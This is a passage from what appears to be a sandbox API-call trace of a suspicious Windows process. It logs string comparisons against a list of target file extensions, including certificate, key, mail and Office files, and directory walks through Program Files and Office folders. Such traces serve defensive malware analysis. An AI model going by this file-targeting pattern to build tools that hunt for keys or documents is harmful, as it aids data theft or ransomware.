lstrcmpiW (lpString1=".p12", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".p7b") returned 4 [0081.347] lstrcmpiW (lpString1=".p7b", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".p7c") returned 4 [0081.347] lstrcmpiW (lpString1=".p7c", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".pam") returned 4 [0081.347] lstrcmpiW (lpString1=".pam", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".pbm") returned 4 [0081.347] lstrcmpiW (lpString1=".pbm", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".pct") returned 4 [0081.347] lstrcmpiW (lpString1=".pct", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".pcx") returned 4 [0081.347] lstrcmpiW (lpString1=".pcx", lpString2=".dll") returned 1 [0081.347] lstrlenW (lpString=".pdd") returned 4 [0081.347] lstrcmpiW (lpString1=".pdd", lpString2=".dll") returned 1 [0081.348] lstrlenW (lpString=".pdf") returned 4 [0081.348] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0081.348] lstrlenW (lpString=".pdp") returned 4 [0081.348] lstrcmpiW (lpString1=".pdp", lpString2=".dll") returned 1 [0081.348] lstrlenW (lpString=".pef") returned 4 [0081.348] lstrcmpiW (lpString1=".pef", lpString2=".dll") returned 1 [0081.348] lstrlenW (lpString=".pem") returned 4 [0081.348] lstrcmpiW (lpString1=".pem", lpString2=".dll") returned 1 [0081.348] lstrlenW (lpString=".pff") returned 4 [0081.348] lstrcmpiW (lpString1=".pff", lpString2=".dll") returned 1 [0081.348] lstrlenW (lpString=".pfm") returned 4 [0081.348] lstrcmpiW (lpString1=".pfm", lpString2=".dll") returned 1 [0081.348] lstrlenW (lpString=".pfx") returned 4 [0081.348] lstrcmpiW (lpString1=".pfx", lpString2=".dll") returned 1 [0081.348] lstrlenW (lpString=".pgm") returned 4 [0081.348] lstrcmpiW (lpString1=".pgm", lpString2=".dll") returned 1 [0081.348] lstrlenW (lpString=".php") returned 4 [0081.348] lstrcmpiW (lpString1=".php", lpString2=".dll") returned 1 [0081.348] lstrlenW (lpString=".php3") returned 5 [0081.348] lstrcmpiW (lpString1=".php3", lpString2="C.dll") returned -1 [0081.348] lstrlenW (lpString=".php4") returned 5 [0081.348] lstrcmpiW (lpString1=".php4", lpString2="C.dll") returned -1 [0081.348] lstrlenW (lpString=".php5") returned 5 [0081.348] lstrcmpiW (lpString1=".php5", lpString2="C.dll") returned -1 [0081.348] lstrlenW (lpString=".phtml") returned 6 [0081.348] lstrcmpiW (lpString1=".phtml", lpString2="OC.dll") returned -1 [0081.348] lstrlenW (lpString=".pict") returned 5 [0081.348] lstrcmpiW (lpString1=".pict", lpString2="C.dll") returned -1 [0081.348] lstrlenW (lpString=".pl") returned 3 [0081.348] lstrcmpiW (lpString1=".pl", lpString2="dll") returned -1 [0081.348] lstrlenW (lpString=".pls") returned 4 [0081.348] lstrcmpiW (lpString1=".pls", lpString2=".dll") returned 1 [0081.349] lstrlenW (lpString=".pm") returned 3 [0081.349] lstrcmpiW (lpString1=".pm", lpString2="dll") returned -1 [0081.349] lstrlenW (lpString=".png") returned 4 [0081.349] lstrcmpiW (lpString1=".png", lpString2=".dll") returned 1 [0081.349] lstrlenW (lpString=".pnm") returned 4 [0081.349] lstrcmpiW (lpString1=".pnm", lpString2=".dll") returned 1 [0081.349] lstrlenW (lpString=".pot") returned 4 [0081.349] lstrcmpiW (lpString1=".pot", lpString2=".dll") returned 1 [0081.349] lstrlenW (lpString=".potm") returned 5 [0081.349] lstrcmpiW (lpString1=".potm", lpString2="C.dll") returned -1 [0081.349] lstrlenW (lpString=".potx") returned 5 [0081.349] lstrcmpiW (lpString1=".potx", lpString2="C.dll") returned -1 [0081.349] lstrlenW (lpString=".ppa") returned 4 [0081.349] lstrcmpiW (lpString1=".ppa", lpString2=".dll") returned 1 [0081.349] lstrlenW (lpString=".ppam") returned 5 [0081.349] lstrcmpiW (lpString1=".ppam", lpString2="C.dll") returned -1 [0081.349] lstrlenW (lpString=".ppm") returned 4 [0081.349] lstrcmpiW (lpString1=".ppm", lpString2=".dll") returned 1 [0081.349] lstrlenW (lpString=".pps") returned 4 [0081.349] lstrcmpiW (lpString1=".pps", lpString2=".dll") returned 1 [0081.349] lstrlenW (lpString=".ppsm") returned 5 [0081.349] lstrcmpiW (lpString1=".ppsm", lpString2="C.dll") returned -1 [0081.349] lstrlenW (lpString=".ppt") returned 4 [0081.349] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0081.349] lstrlenW (lpString=".pptm") returned 5 [0081.349] lstrcmpiW (lpString1=".pptm", lpString2="C.dll") returned -1 [0081.349] lstrlenW (lpString=".pptx") returned 5 [0081.349] lstrcmpiW (lpString1=".pptx", lpString2="C.dll") returned -1 [0081.349] lstrlenW (lpString=".prn") returned 4 [0081.349] lstrcmpiW (lpString1=".prn", lpString2=".dll") returned 1 [0081.349] lstrlenW (lpString=".ps") returned 3 [0081.349] lstrcmpiW (lpString1=".ps", lpString2="dll") returned -1 [0081.349] lstrlenW (lpString=".psb") returned 4 [0081.349] lstrcmpiW (lpString1=".psb", lpString2=".dll") returned 1 [0081.349] lstrlenW (lpString=".psd") returned 4 [0081.349] lstrcmpiW (lpString1=".psd", lpString2=".dll") returned 1 [0081.349] lstrlenW (lpString=".pst") returned 4 [0081.350] lstrcmpiW (lpString1=".pst", lpString2=".dll") returned 1 [0081.350] lstrlenW (lpString=".ptx") returned 4 [0081.350] lstrcmpiW (lpString1=".ptx", lpString2=".dll") returned 1 [0081.350] lstrlenW (lpString=".pub") returned 4 [0081.350] lstrcmpiW (lpString1=".pub", lpString2=".dll") returned 1 [0081.350] lstrlenW (lpString=".pwm") returned 4 [0081.350] lstrcmpiW (lpString1=".pwm", lpString2=".dll") returned 1 [0081.350] lstrlenW (lpString=".pxr") returned 4 [0081.350] lstrcmpiW (lpString1=".pxr", lpString2=".dll") returned 1 [0081.350] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e5ba88 | out: hHeap=0x490000) returned 1 [0081.350] FindNextFileW (in: hFindFile=0x582d88, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="plugins", cAlternateFileName="")) returned 0 [0081.350] FindClose (in: hFindFile=0x582d88 | out: hFindFile=0x582d88) returned 1 [0081.350] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.350] FindNextFileW (in: hFindFile=0x582f48, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x60db08, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x60db08, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x60db08, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Mozilla Firefox", cAlternateFileName="MOZILL~1")) returned 0 [0081.350] FindClose (in: hFindFile=0x582f48 | out: hFindFile=0x582f48) returned 1 [0081.350] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0081.350] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xee8d7d1d, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xee8d7d1d, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="System", cAlternateFileName="")) returned 1 [0081.566] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e3ba78 | out: hHeap=0x490000) returned 1 [0081.570] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x3b6194c4, ftLastAccessTime.dwHighDateTime=0x1d47c34, ftLastWriteTime.dwLowDateTime=0x3b6194c4, ftLastWriteTime.dwHighDateTime=0x1d47c34, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="SystemX86", cAlternateFileName="SYSTEM~1")) returned 1 [0081.572] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d70938 | out: hHeap=0x490000) returned 1 [0081.572] FindNextFileW (in: hFindFile=0x582cc8, lpFindFileData=0x2e9f308 | out: lpFindFileData=0x2e9f308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x845a7d02, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xeb2fdc25, ftLastAccessTime.dwHighDateTime=0x1d47c33, ftLastWriteTime.dwLowDateTime=0xeb2fdc25, ftLastWriteTime.dwHighDateTime=0x1d47c33, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="Windows", cAlternateFileName="")) returned 1 [0081.573] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.573] FindNextFileW (in: hFindFile=0x5830c8, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0081.573] FindClose (in: hFindFile=0x5830c8 | out: hFindFile=0x5830c8) returned 1 [0081.573] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.573] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a65087, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x5a65087, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x5a65087, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.Access.BusinessDataCatalog", cAlternateFileName="MICROS~1.BUS")) returned 0 [0081.573] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0081.573] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0081.575] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 1 [0081.576] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.576] FindNextFileW (in: hFindFile=0x582f08, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a56cbe, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x6a56cbe, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x6a56cbe, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0081.576] FindClose (in: hFindFile=0x582f08 | out: hFindFile=0x582f08) returned 1 [0081.576] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.576] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.AnalysisServices.SPClient.Interfaces", cAlternateFileName="MICROS~2.INT")) returned 1 [0081.577] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.577] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfbd2face, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfbd2face, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfbd2face, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="11.0.0.0__89845DCD8080CC91", cAlternateFileName="1100~1.0__")) returned 0 [0081.577] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0081.577] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.577] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22a9f7a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22a9f7a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22d01df, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.BusinessData", cAlternateFileName="MICROS~1.BUS")) returned 1 [0081.577] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.577] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x22d01df, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x22d01df, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x22f6470, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0081.577] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0081.577] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.577] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessApplications.Diagnostics", cAlternateFileName="MICROS~1.DIA")) returned 1 [0081.577] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.577] FindNextFileW (in: hFindFile=0x582c08, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x863456d, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0081.577] FindClose (in: hFindFile=0x582c08 | out: hFindFile=0x582c08) returned 1 [0081.578] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.578] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData", cAlternateFileName="MICROS~2.BUS")) returned 1 [0081.578] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.578] FindNextFileW (in: hFindFile=0x582d08, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x37869c8, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x37869c8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x37869c8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0081.578] FindClose (in: hFindFile=0x582d08 | out: hFindFile=0x582d08) returned 1 [0081.578] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.578] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 1 [0081.578] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3e03a60 | out: hHeap=0x490000) returned 1 [0081.578] FindNextFileW (in: hFindFile=0x582dc8, lpFindFileData=0x2e9e918 | out: lpFindFileData=0x2e9e918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="16.0.0.0__71E9BCE111E9429C", cAlternateFileName="1600~1.0__")) returned 0 [0081.578] FindClose (in: hFindFile=0x582dc8 | out: hFindFile=0x582dc8) returned 1 [0081.578] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3df3a58 | out: hHeap=0x490000) returned 1 [0081.578] FindNextFileW (in: hFindFile=0x583008, lpFindFileData=0x2e9eb94 | out: lpFindFileData=0x2e9eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf1d97f24, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf1d97f24, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Microsoft.Office.BusinessData.Intl", cAlternateFileName="MICROS~1.INT")) returned 0 [0081.579] FindClose (in: hFindFile=0x583008 | out: hFindFile=0x583008) returned 1 [0081.579] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0081.579] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1d97f24, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x863456d, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x863456d, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="GAC_MSIL", cAlternateFileName="")) returned 0 [0081.579] FindClose (in: hFindFile=0x583188 | out: hFindFile=0x583188) returned 1 [0081.579] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.580] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb32840, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0xcb32840, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0xcb32840, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="INF", cAlternateFileName="")) returned 1 [0081.580] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.580] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc26abeaf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Installer", cAlternateFileName="INSTAL~1")) returned 1 [0081.581] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0081.581] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc2f507b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc2f507b2, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc2f507b2, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~3")) returned 1 [0081.581] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0081.581] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-040C-1000-0000000FF1CE}", cAlternateFileName="{90160~4")) returned 1 [0081.581] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0081.581] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc369dacd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc369dacd, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc369dacd, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-001F-0C0A-1000-0000000FF1CE}", cAlternateFileName="{9B17A~1")) returned 1 [0081.582] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0081.582] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 1 [0081.582] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3de3a50 | out: hHeap=0x490000) returned 1 [0081.582] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x2e9ee10 | out: lpFindFileData=0x2e9ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc28c2111, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xc28c2111, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xc28c2111, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{90160000-006E-0409-1000-0000000FF1CE}", cAlternateFileName="{90160~2")) returned 0 [0081.582] FindClose (in: hFindFile=0x582e48 | out: hFindFile=0x582e48) returned 1 [0081.582] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0081.582] FindNextFileW (in: hFindFile=0x582f88, lpFindFileData=0x2e9f08c | out: lpFindFileData=0x2e9f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x2e24d55a, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x2e24d55a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2e273816, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="PCHEALTH", 